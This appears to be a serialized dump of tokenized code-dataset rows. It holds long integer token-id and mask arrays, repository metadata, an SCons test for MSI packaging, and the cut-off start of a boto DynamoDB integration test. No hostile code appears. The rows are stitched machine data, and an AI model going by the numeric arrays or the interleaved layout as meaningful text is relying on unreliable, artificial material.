7850,
59,
1927,
804,
61,
7903,
198,
2590,
26,
13610,
198,
90,
13458,
7850,
14,
9053,
63,
525,
5884,
905,
3359,
5763,
4140,
9053,
63,
525,
7850,
8,
344,
29,
1927,
804,
12,
2538,
29,
1927,
804,
9,
13610,
198,
90,
13458,
7850,
275,
20110,
7850,
59,
1927,
804,
61
] |
[
2647,
15,
1393,
15,
1813,
2366,
2999,
199,
624,
202,
199,
4161,
1136,
27050,
446,
710,
1318,
8823,
367,
22026,
446,
1455,
921,
1544,
14,
70,
346,
7515,
14,
846,
202,
199,
7384,
334,
35,
9,
13004,
13,
9300,
481,
264,
9910,
331,
8256,
271,
20936,
1804,
78,
12198,
287,
2999,
199,
389,
16427,
5113,
508,
2999,
199,
31661,
1334,
314,
2895,
402,
1263,
402,
314,
2569,
12378,
737,
2195,
202,
199,
5095,
26,
2999,
199,
13,
1664,
1696,
1684,
844,
3394,
499,
503,
2945,
334,
1589,
298,
12006,
531,
202,
199,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
15,
11692,
14,
1360,
2999,
199,
13,
1664,
6401,
1696,
1684,
844,
3394,
499,
14,
17,
503,
2945,
334,
1589,
298,
44,
12006,
531,
202,
199,
1014,
921,
1544,
14,
3689,
14,
1308,
15,
2383,
15,
9783,
1168,
14,
1360,
2999,
199,
13,
17728,
1684,
844,
3394,
413,
14,
17,
503,
2945,
334,
1589,
298,
3950,
531,
202,
199,
1014,
921,
1544,
14,
12102,
14,
1308,
15,
3950,
15,
3950,
13,
17,
14,
17,
14,
1360,
2999,
199,
389,
7729,
5113,
508,
2999,
199,
20476,
367,
2018,
436,
3107,
13458,
14,
2999,
199,
2765,
1233,
1990,
440,
12470,
737,
1006,
14,
202,
199,
7940,
2951,
1990,
299,
1376,
687,
876,
499,
14,
21,
4683,
12,
880,
367,
9848,
3659,
1937,
202,
199,
60,
7515,
60,
493,
2609,
60,
5750,
60,
885,
60,
2242,
1384,
60,
647,
60,
11815,
14,
647,
315,
4136,
202,
199,
11840,
14,
2999,
199,
624,
2999,
199,
504,
289,
346,
1974,
492,
627,
202,
199,
504,
13252,
492,
627,
202,
199,
646,
1101,
465,
4094,
2999,
199,
533,
20934,
1136,
27050,
20476,
58,
13458,
8,
4161,
1136,
27050,
20476,
304,
1223,
198,
624,
1223,
198,
58,
13458,
809,
338,
1618,
20934,
1136,
27050,
20476,
1223,
198,
624,
1223,
198,
3,
9812,
2879,
334,
58,
13458,
9,
1223,
198,
363,
3306,
63,
2732,
63,
475,
63,
324,
6798,
63,
954,
1462,
363,
275,
413,
10060,
198,
318,
636,
826,
721,
277,
12,
1067,
29,
403,
304,
4122,
198,
624,
4122,
198,
11447,
4122,
198,
624,
4122,
198,
4161,
1136,
27050,
20476,
855,
826,
721,
277,
12,
6160,
29,
403,
9,
327,
1240,
17035,
3787,
4122,
198,
3,
10066,
9382,
4122,
198,
277,
14,
1100,
275,
1067,
4122,
198,
277,
14,
1069,
275,
20934,
1136,
27050,
2017,
8,
1100,
9,
10060,
198,
318,
664,
58,
13458,
6405,
2998,
8,
277,
304,
4122,
198,
692,
291,
14,
90,
13458,
6405,
2998,
365,
488,
26,
7903,
198,
277,
14,
90,
13458,
6405,
2998,
275,
291,
14,
1100,
14,
362,
20303,
6405,
342,
4122,
198,
1107,
291,
14,
90,
13458,
6405,
2998,
10060,
198,
318,
664,
58,
13458,
10301,
2998,
8,
277,
304,
4122,
198,
692,
291,
14,
90,
13458,
10301,
2998,
365,
488,
26,
7903,
198,
3741,
5866,
275,
291,
14,
751,
5535,
7850,
14,
1294,
19031,
7903,
198,
67,
275,
291,
14,
362,
58,
13458,
6405,
2998,
342,
7903,
198,
509,
4922,
985,
315,
4922,
5866,
26,
13610,
198,
692,
334,
3741,
985,
20941,
26430,
19744,
198,
67,
275,
286,
59,
3741,
985,
61,
7903,
198,
277,
14,
90,
13458,
10301,
2998,
275,
286,
4122,
198,
1107,
291,
14,
90,
13458,
10301,
2998,
10060,
198,
318,
663,
2567,
8,
277,
12,
790,
12,
574,
304,
4122,
198,
277,
14,
1100,
14,
6780,
14,
12801,
14,
409,
2567,
8,
498,
12,
574,
9,
10060,
198,
318,
664,
7850,
83,
8,
277,
12,
2073,
804,
12,
1453,
7850,
304,
4122,
198,
3,
3232,
314,
16533,
1031,
4122,
198,
83,
275,
3087,
4122,
198,
83,
847,
8894,
7850,
83,
11193,
4122,
198,
90,
13458,
7850,
275,
291,
14,
1623,
58,
13458,
7850,
8,
1927,
804,
12,
1453,
7850,
9,
4122,
198,
509,
334,
354,
12,
312,
9,
315,
20110,
7850,
14,
785,
7412,
5234,
7850,
21473,
7903,
198,
83,
847,
8894,
7850,
536,
5961,
83,
2,
7082,
624,
450,
334,
19744,
198,
21880,
8672,
1646,
8,
354,
9,
19744,
198,
9,
4122,
198,
3,
15524,
314,
16533,
1031,
4122,
198,
83,
847,
408,
1108,
7850,
83,
11193,
4122,
198,
1107,
308,
10060,
198,
318,
664,
58,
13458,
7850,
83,
3325,
5535,
8,
277,
12,
2073,
804,
12,
1453,
7850,
304,
4122,
198,
15171,
275,
291,
14,
362,
58,
13458,
7850,
83,
8,
1927,
804,
12,
1453,
7850,
9,
4122,
198,
1725,
275,
291,
14,
362,
58,
13458,
5535,
8,
1927,
804,
12,
1453,
7850,
9,
4122,
198,
83,
275,
16533,
435,
1584,
4122,
198,
1107,
308,
10060,
198,
318,
664,
58,
13458,
5535,
8,
277,
12,
2073,
804,
12,
1453,
7850,
304,
4122,
198,
3,
3232,
314,
1584,
1031,
4122,
198,
83,
275,
3087,
4122,
198,
83,
847,
8894,
5535,
11193,
4122,
198,
90,
13458,
7850,
275,
291,
14,
1623,
58,
13458,
7850,
8,
1927,
804,
12,
1453,
7850,
9,
4122,
198,
509,
334,
354,
12,
312,
9,
315,
20110,
7850,
14,
785,
7412,
5234,
1173,
2266,
3491,
21473,
7903,
198,
83,
847,
8894,
1173,
536,
5961,
83,
2,
1568,
5961,
83,
2,
7082,
624,
450,
334,
19744,
198,
21880,
8672,
1646,
8,
354,
395,
19744,
198,
1332,
79,
14,
362,
63,
890,
342,
1182,
6619,
9,
435,
413,
9,
19744,
198,
9,
4122,
198,
3,
15524,
314,
1584,
1031,
4122,
198,
83,
847,
408,
1108,
5535,
11193,
4122,
198,
1107,
308,
10060,
198,
318,
2342,
58,
13458,
7850,
8,
277,
12,
2073,
804,
12,
4922,
985,
304,
4122,
198,
3,
2529,
314,
1067,
402,
314,
2073,
1182,
4922,
4122,
198,
90,
13458,
7850,
275,
291,
14,
362,
58,
13458,
10301,
2998,
342,
4122,
198,
3741,
985,
275,
291,
14,
2168,
2532,
3162,
8,
3741,
985,
12,
3286,
531,
4122,
198,
3741,
985,
275,
291,
14,
2168,
2532,
3005,
8,
3741,
985,
12,
3286,
531,
4122,
198,
692,
334,
1927,
804,
20941,
26430,
7903,
198,
893,
26,
13610,
198,
90,
13458,
7850,
275,
20110,
7850,
59,
1927,
804,
61,
7903,
198,
2590,
26,
13610,
198,
90,
13458,
7850,
14,
9053,
63,
525,
5884,
905,
3359,
5763,
4140,
9053,
63,
525,
7850,
8,
344,
29,
1927,
804,
12,
2538,
29,
1927,
804,
9,
13610,
198,
90,
13458,
7850,
275,
20110,
7850,
59,
1927,
804,
61,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
timj/scons
|
test/packaging/msi/explicit-target.py
|
1
|
3151
|
#!/usr/bin/env python
#
# __COPYRIGHT__
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to
# permit persons to whom the Software is furnished to do so, subject to
# the following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
# KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
# WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
#
__revision__ = "__FILE__ __REVISION__ __DATE__ __DEVELOPER__"
"""
Test the ability to use a explicit target package name and the use
of FindInstalledFiles() in conjunction with .msi packages.
"""
import TestSCons
python = TestSCons.python
test = TestSCons.TestSCons()
try:
from xml.dom.minidom import *
except ImportError:
test.skip_test('Canoot import xml.dom.minidom skipping test\n')
wix = test.Environment().WhereIs('candle')
if not wix:
test.skip_test("No 'candle' found; skipping test\n")
#
# build with minimal tag set and test for the given package meta-data
#
test.write( 'file1.exe', "file1" )
test.write( 'file2.exe', "file2" )
test.write('SConstruct', """
import os
env = Environment(tools=['default', 'packaging'])
f1 = env.Install( '/usr/' , 'file1.exe' )
f2 = env.Install( '/usr/' , 'file2.exe' )
env.Alias( 'install', [ f1, f2 ] )
env.Package( NAME = 'foo',
VERSION = '1.2',
PACKAGETYPE = 'msi',
SUMMARY = 'balalalalal',
DESCRIPTION = 'this should be reallly really long',
VENDOR = 'Nanosoft_2000',
source = env.FindInstalledFiles(),
target = "mypackage.msi",
)
""")
test.run(arguments='', stderr = None)
test.must_exist( 'foo-1.2.wxs' )
test.must_exist( 'foo-1.2.msi' )
dom = parse( test.workpath( 'foo-1.2.wxs' ) )
Product = dom.getElementsByTagName( 'Product' )[0]
Package = dom.getElementsByTagName( 'Package' )[0]
test.fail_test( not Product.attributes['Manufacturer'].value == 'Nanosoft_2000' )
test.fail_test( not Product.attributes['Version'].value == '1.2' )
test.fail_test( not Product.attributes['Name'].value == 'foo' )
test.fail_test( not Package.attributes['Description'].value == 'balalalalal' )
test.fail_test( not Package.attributes['Comments'].value == 'this should be reallly really long' )
test.pass_test()
# Local Variables:
# tab-width:4
# indent-tabs-mode:nil
# End:
# vim: set expandtab tabstop=4 shiftwidth=4:
|
mit
|
[
3381,
2647,
15,
1393,
15,
1813,
2366,
199,
3,
199,
3,
636,
32324,
5716,
363,
199,
3,
199,
3,
8779,
365,
11882,
10009,
12,
2867,
402,
11204,
12,
370,
1263,
4954,
12408,
199,
3,
282,
1331,
402,
642,
2032,
436,
4568,
3794,
1584,
334,
1589,
199,
3,
298,
10337,
1288,
370,
7962,
315,
314,
2290,
1928,
10588,
12,
5893,
199,
3,
1928,
12305,
314,
4481,
370,
675,
12,
1331,
12,
2811,
12,
5389,
12,
2780,
12,
199,
3,
11207,
12,
13473,
12,
436,
15,
269,
12743,
6866,
402,
314,
2290,
12,
436,
370,
199,
3,
11291,
12103,
370,
12676,
314,
2290,
365,
13985,
370,
886,
880,
12,
5420,
370,
199,
3,
314,
2569,
3704,
26,
199,
3,
199,
3,
710,
3432,
4248,
4245,
436,
642,
4983,
4245,
10989,
506,
5120,
199,
3,
315,
1006,
6866,
503,
13393,
12468,
402,
314,
2290,
14,
199,
3,
199,
3,
2334,
4141,
2281,
7049,
298,
1179,
2281,
401,
2428,
3408,
1634,
1821,
199,
3,
3826,
12,
7168,
1549,
5292,
12,
6931,
5400,
2845,
5471,
2296,
2334,
199,
3,
2990,
1634,
3169,
12,
3092,
2381,
437,
3115,
3104,
2401,
199,
3,
13229,
14,
1621,
4825,
6461,
7000,
2334,
10610,
1549,
5877,
8164,
6262,
199,
3,
7024,
2381,
1821,
13140,
12,
6736,
1549,
5010,
5603,
12,
7061,
1621,
1261,
9612,
199,
3,
1634,
7066,
12,
7056,
1549,
7334,
12,
7043,
4442,
12,
5738,
1634,
1549,
1621,
11287,
199,
3,
1663,
2334,
4141,
1549,
2334,
4815,
1549,
5010,
13198,
1621,
2334,
4141,
14,
199,
3,
199,
199,
363,
5792,
363,
275,
4396,
3817,
363,
636,
907,
18775,
363,
636,
5390,
363,
636,
1093,
2524,
1484,
4227,
16526,
199,
199,
624,
199,
774,
314,
21255,
370,
675,
282,
5027,
1347,
2559,
536,
436,
314,
675,
199,
1618,
6668,
21268,
5535,
342,
315,
22888,
543,
1275,
77,
338,
6117,
14,
199,
624,
199,
199,
646,
1379,
18521,
199,
199,
1548,
275,
1379,
18521,
14,
1548,
199,
199,
396,
275,
1379,
18521,
14,
774,
18521,
342,
199,
199,
893,
26,
272,
687,
2748,
14,
4556,
14,
21827,
492,
627,
199,
2590,
3545,
26,
272,
511,
14,
2759,
63,
396,
360,
6049,
26974,
492,
2748,
14,
4556,
14,
21827,
16068,
511,
60,
78,
358,
199,
199,
87,
1148,
275,
511,
14,
8263,
1252,
26493,
1831,
360,
67,
860,
358,
199,
199,
692,
440,
336,
1148,
26,
272,
511,
14,
2759,
63,
396,
480,
1944,
283,
67,
860,
7,
1911,
27,
16068,
511,
60,
78,
531,
199,
199,
3,
199,
3,
1900,
543,
13460,
1947,
663,
436,
511,
367,
314,
1627,
2559,
3404,
13,
576,
199,
3,
199,
396,
14,
952,
8,
283,
493,
17,
14,
5803,
297,
298,
493,
17,
2,
776,
199,
396,
14,
952,
8,
283,
493,
18,
14,
5803,
297,
298,
493,
18,
2,
776,
199,
199,
396,
14,
952,
360,
51,
11493,
297,
408,
199,
646,
747,
199,
199,
1813,
221,
275,
9711,
8,
2537,
2968,
885,
297,
283,
27796,
1105,
199,
199,
70,
17,
221,
275,
2589,
14,
8154,
8,
1994,
2647,
4805,
2360,
283,
493,
17,
14,
5803,
7,
221,
776,
199,
70,
18,
221,
275,
2589,
14,
8154,
8,
1994,
2647,
4805,
2360,
283,
493,
18,
14,
5803,
7,
221,
776,
199,
199,
1813,
14,
14149,
8,
283,
3174,
297,
359,
289,
17,
12,
289,
18,
1622,
776,
199,
199,
1813,
14,
8599,
8,
13637,
260,
275,
283,
1421,
297,
1467,
15945,
420,
275,
283,
17,
14,
18,
297,
1467,
510,
3099,
1254,
17509,
221,
275,
283,
77,
338,
297,
1467,
24558,
24794,
420,
275,
283,
4982,
279,
279,
279,
279,
297,
1467,
17410,
1075,
221,
275,
283,
3749,
1077,
506,
295,
452,
590,
7710,
1846,
297,
1467,
812,
3902,
726,
755,
275,
283,
27531,
736,
32009,
63,
8269,
297,
1467,
1350,
755,
275,
2589,
14,
6591,
21268,
5535,
1062,
1467,
1347,
755,
275,
298,
1662,
2491,
14,
77,
338,
401,
288,
776,
199,
6141,
199,
199,
396,
14,
1065,
8,
4958,
4581,
4635,
275,
488,
9,
199,
199,
396,
14,
7790,
63,
4494,
8,
283,
1421,
13,
17,
14,
18,
14,
6323,
83,
7,
776,
199,
396,
14,
7790,
63,
4494,
8,
283,
1421,
13,
17,
14,
18,
14,
77,
338,
7,
776,
199,
199,
4556,
258,
275,
2198,
8,
511,
14,
800,
515,
8,
283,
1421,
13,
17,
14,
18,
14,
6323,
83,
7,
776,
776,
199,
5884,
275,
8266,
14,
15045,
8,
283,
5884,
7,
29688,
16,
61,
199,
8599,
275,
8266,
14,
15045,
8,
283,
8599,
7,
29688,
16,
61,
199,
199,
396,
14,
1633,
63,
396,
8,
440,
12705,
14,
2987,
459,
2395,
21087,
2278,
585,
508,
283,
27531,
736,
32009,
63,
8269,
7,
776,
199,
396,
14,
1633,
63,
396,
8,
440,
12705,
14,
2987,
459,
3353,
2278,
585,
420,
508,
283,
17,
14,
18,
7,
776,
199,
396,
14,
1633,
63,
396,
8,
440,
12705,
14,
2987,
459,
985,
2278,
585,
260,
508,
283,
1421,
7,
776,
199,
199,
396,
14,
1633,
63,
396,
8,
440,
15665,
14,
2987,
459,
5831,
2278,
585,
508,
283,
4982,
279,
279,
279,
279,
7,
776,
199,
396,
14,
1633,
63,
396,
8,
440,
15665,
14,
2987,
459,
18929,
2278,
585,
259,
508,
283,
3749,
1077,
506,
295,
452,
590,
7710,
1846,
7,
776,
199,
199,
396,
14,
1529,
63,
396,
342,
199,
199,
3,
10111,
17198,
26,
199,
3,
5174,
13,
2063,
26,
20,
199,
3,
4363,
13,
8741,
13,
632,
26,
20613,
199,
3,
9599,
26,
199,
3,
6695,
26,
663,
26414,
20849,
29,
20,
20105,
29,
20,
26,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
2647,
15,
1393,
15,
1813,
2366,
199,
3,
199,
3,
636,
32324,
5716,
363,
199,
3,
199,
3,
8779,
365,
11882,
10009,
12,
2867,
402,
11204,
12,
370,
1263,
4954,
12408,
199,
3,
282,
1331,
402,
642,
2032,
436,
4568,
3794,
1584,
334,
1589,
199,
3,
298,
10337,
1288,
370,
7962,
315,
314,
2290,
1928,
10588,
12,
5893,
199,
3,
1928,
12305,
314,
4481,
370,
675,
12,
1331,
12,
2811,
12,
5389,
12,
2780,
12,
199,
3,
11207,
12,
13473,
12,
436,
15,
269,
12743,
6866,
402,
314,
2290,
12,
436,
370,
199,
3,
11291,
12103,
370,
12676,
314,
2290,
365,
13985,
370,
886,
880,
12,
5420,
370,
199,
3,
314,
2569,
3704,
26,
199,
3,
199,
3,
710,
3432,
4248,
4245,
436,
642,
4983,
4245,
10989,
506,
5120,
199,
3,
315,
1006,
6866,
503,
13393,
12468,
402,
314,
2290,
14,
199,
3,
199,
3,
2334,
4141,
2281,
7049,
298,
1179,
2281,
401,
2428,
3408,
1634,
1821,
199,
3,
3826,
12,
7168,
1549,
5292,
12,
6931,
5400,
2845,
5471,
2296,
2334,
199,
3,
2990,
1634,
3169,
12,
3092,
2381,
437,
3115,
3104,
2401,
199,
3,
13229,
14,
1621,
4825,
6461,
7000,
2334,
10610,
1549,
5877,
8164,
6262,
199,
3,
7024,
2381,
1821,
13140,
12,
6736,
1549,
5010,
5603,
12,
7061,
1621,
1261,
9612,
199,
3,
1634,
7066,
12,
7056,
1549,
7334,
12,
7043,
4442,
12,
5738,
1634,
1549,
1621,
11287,
199,
3,
1663,
2334,
4141,
1549,
2334,
4815,
1549,
5010,
13198,
1621,
2334,
4141,
14,
199,
3,
199,
199,
363,
5792,
363,
275,
4396,
3817,
363,
636,
907,
18775,
363,
636,
5390,
363,
636,
1093,
2524,
1484,
4227,
16526,
199,
199,
624,
199,
774,
314,
21255,
370,
675,
282,
5027,
1347,
2559,
536,
436,
314,
675,
199,
1618,
6668,
21268,
5535,
342,
315,
22888,
543,
1275,
77,
338,
6117,
14,
199,
624,
199,
199,
646,
1379,
18521,
199,
199,
1548,
275,
1379,
18521,
14,
1548,
199,
199,
396,
275,
1379,
18521,
14,
774,
18521,
342,
199,
199,
893,
26,
272,
687,
2748,
14,
4556,
14,
21827,
492,
627,
199,
2590,
3545,
26,
272,
511,
14,
2759,
63,
396,
360,
6049,
26974,
492,
2748,
14,
4556,
14,
21827,
16068,
511,
60,
78,
358,
199,
199,
87,
1148,
275,
511,
14,
8263,
1252,
26493,
1831,
360,
67,
860,
358,
199,
199,
692,
440,
336,
1148,
26,
272,
511,
14,
2759,
63,
396,
480,
1944,
283,
67,
860,
7,
1911,
27,
16068,
511,
60,
78,
531,
199,
199,
3,
199,
3,
1900,
543,
13460,
1947,
663,
436,
511,
367,
314,
1627,
2559,
3404,
13,
576,
199,
3,
199,
396,
14,
952,
8,
283,
493,
17,
14,
5803,
297,
298,
493,
17,
2,
776,
199,
396,
14,
952,
8,
283,
493,
18,
14,
5803,
297,
298,
493,
18,
2,
776,
199,
199,
396,
14,
952,
360,
51,
11493,
297,
408,
199,
646,
747,
199,
199,
1813,
221,
275,
9711,
8,
2537,
2968,
885,
297,
283,
27796,
1105,
199,
199,
70,
17,
221,
275,
2589,
14,
8154,
8,
1994,
2647,
4805,
2360,
283,
493,
17,
14,
5803,
7,
221,
776,
199,
70,
18,
221,
275,
2589,
14,
8154,
8,
1994,
2647,
4805,
2360,
283,
493,
18,
14,
5803,
7,
221,
776,
199,
199,
1813,
14,
14149,
8,
283,
3174,
297,
359,
289,
17,
12,
289,
18,
1622,
776,
199,
199,
1813,
14,
8599,
8,
13637,
260,
275,
283,
1421,
297,
1467,
15945,
420,
275,
283,
17,
14,
18,
297,
1467,
510,
3099,
1254,
17509,
221,
275,
283,
77,
338,
297,
1467,
24558,
24794,
420,
275,
283,
4982,
279,
279,
279,
279,
297,
1467,
17410,
1075,
221,
275,
283,
3749,
1077,
506,
295,
452,
590,
7710,
1846,
297,
1467,
812,
3902,
726,
755,
275,
283,
27531,
736,
32009,
63,
8269,
297,
1467,
1350,
755,
275,
2589,
14,
6591,
21268,
5535,
1062,
1467,
1347,
755,
275,
298,
1662,
2491,
14,
77,
338,
401,
288,
776,
199,
6141,
199,
199,
396,
14,
1065,
8,
4958,
4581,
4635,
275,
488,
9,
199,
199,
396,
14,
7790,
63,
4494,
8,
283,
1421,
13,
17,
14,
18,
14,
6323,
83,
7,
776,
199,
396,
14,
7790,
63,
4494,
8,
283,
1421,
13,
17,
14,
18,
14,
77,
338,
7,
776,
199,
199,
4556,
258,
275,
2198,
8,
511,
14,
800,
515,
8,
283,
1421,
13,
17,
14,
18,
14,
6323,
83,
7,
776,
776,
199,
5884,
275,
8266,
14,
15045,
8,
283,
5884,
7,
29688,
16,
61,
199,
8599,
275,
8266,
14,
15045,
8,
283,
8599,
7,
29688,
16,
61,
199,
199,
396,
14,
1633,
63,
396,
8,
440,
12705,
14,
2987,
459,
2395,
21087,
2278,
585,
508,
283,
27531,
736,
32009,
63,
8269,
7,
776,
199,
396,
14,
1633,
63,
396,
8,
440,
12705,
14,
2987,
459,
3353,
2278,
585,
420,
508,
283,
17,
14,
18,
7,
776,
199,
396,
14,
1633,
63,
396,
8,
440,
12705,
14,
2987,
459,
985,
2278,
585,
260,
508,
283,
1421,
7,
776,
199,
199,
396,
14,
1633,
63,
396,
8,
440,
15665,
14,
2987,
459,
5831,
2278,
585,
508,
283,
4982,
279,
279,
279,
279,
7,
776,
199,
396,
14,
1633,
63,
396,
8,
440,
15665,
14,
2987,
459,
18929,
2278,
585,
259,
508,
283,
3749,
1077,
506,
295,
452,
590,
7710,
1846,
7,
776,
199,
199,
396,
14,
1529,
63,
396,
342,
199,
199,
3,
10111,
17198,
26,
199,
3,
5174,
13,
2063,
26,
20,
199,
3,
4363,
13,
8741,
13,
632,
26,
20613,
199,
3,
9599,
26,
199,
3,
6695,
26,
663,
26414,
20849,
29,
20,
20105,
29,
20,
26,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32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,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
alex/boto
|
tests/integration/dynamodb/test_layer2.py
|
114
|
19814
|
# Copyright (c) 2012 Mitch Garnaat http://garnaat.org/
# All rights reserved.
#
# Permission is hereby granted, free of charge, to any person obtaining a
# copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish, dis-
# tribute, sublicense, and/or sell copies of the Software, and to permit
# persons to whom the Software is furnished to do so, subject to the fol-
# lowing conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
# OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABIL-
# ITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT
# SHALL THE AUTHOR BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,
# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
# IN THE SOFTWARE.
"""
Tests for Layer2 of Amazon DynamoDB
"""
import time
import uuid
from decimal import Decimal
from tests.unit import unittest
from boto.dynamodb.exceptions import DynamoDBKeyNotFoundError
from boto.dynamodb.exceptions import DynamoDBConditionalCheckFailedError
from boto.dynamodb.layer2 import Layer2
from boto.dynamodb.types import get_dynamodb_type, Binary
from boto.dynamodb.condition import BEGINS_WITH, CONTAINS, GT
from boto.compat import six, long_type
class DynamoDBLayer2Test(unittest.TestCase):
dynamodb = True
def setUp(self):
self.dynamodb = Layer2()
self.hash_key_name = 'forum_name'
self.hash_key_proto_value = ''
self.range_key_name = 'subject'
self.range_key_proto_value = ''
self.table_name = 'sample_data_%s' % int(time.time())
def create_sample_table(self):
schema = self.dynamodb.create_schema(
self.hash_key_name, self.hash_key_proto_value,
self.range_key_name,
self.range_key_proto_value)
table = self.create_table(self.table_name, schema, 5, 5)
table.refresh(wait_for_active=True)
return table
def create_table(self, table_name, schema, read_units, write_units):
result = self.dynamodb.create_table(table_name, schema, read_units, write_units)
self.addCleanup(self.dynamodb.delete_table, result)
return result
def test_layer2_basic(self):
print('--- running Amazon DynamoDB Layer2 tests ---')
c = self.dynamodb
# First create a schema for the table
schema = c.create_schema(self.hash_key_name, self.hash_key_proto_value,
self.range_key_name,
self.range_key_proto_value)
# Create another schema without a range key
schema2 = c.create_schema('post_id', '')
# Now create a table
index = int(time.time())
table_name = 'test-%d' % index
read_units = 5
write_units = 5
table = self.create_table(table_name, schema, read_units, write_units)
assert table.name == table_name
assert table.schema.hash_key_name == self.hash_key_name
assert table.schema.hash_key_type == get_dynamodb_type(self.hash_key_proto_value)
assert table.schema.range_key_name == self.range_key_name
assert table.schema.range_key_type == get_dynamodb_type(self.range_key_proto_value)
assert table.read_units == read_units
assert table.write_units == write_units
assert table.item_count == 0
assert table.size_bytes == 0
# Create the second table
table2_name = 'test-%d' % (index + 1)
table2 = self.create_table(table2_name, schema2, read_units, write_units)
# Wait for table to become active
table.refresh(wait_for_active=True)
table2.refresh(wait_for_active=True)
# List tables and make sure new one is there
table_names = c.list_tables()
assert table_name in table_names
assert table2_name in table_names
# Update the tables ProvisionedThroughput
new_read_units = 10
new_write_units = 5
table.update_throughput(new_read_units, new_write_units)
# Wait for table to be updated
table.refresh(wait_for_active=True)
assert table.read_units == new_read_units
assert table.write_units == new_write_units
# Put an item
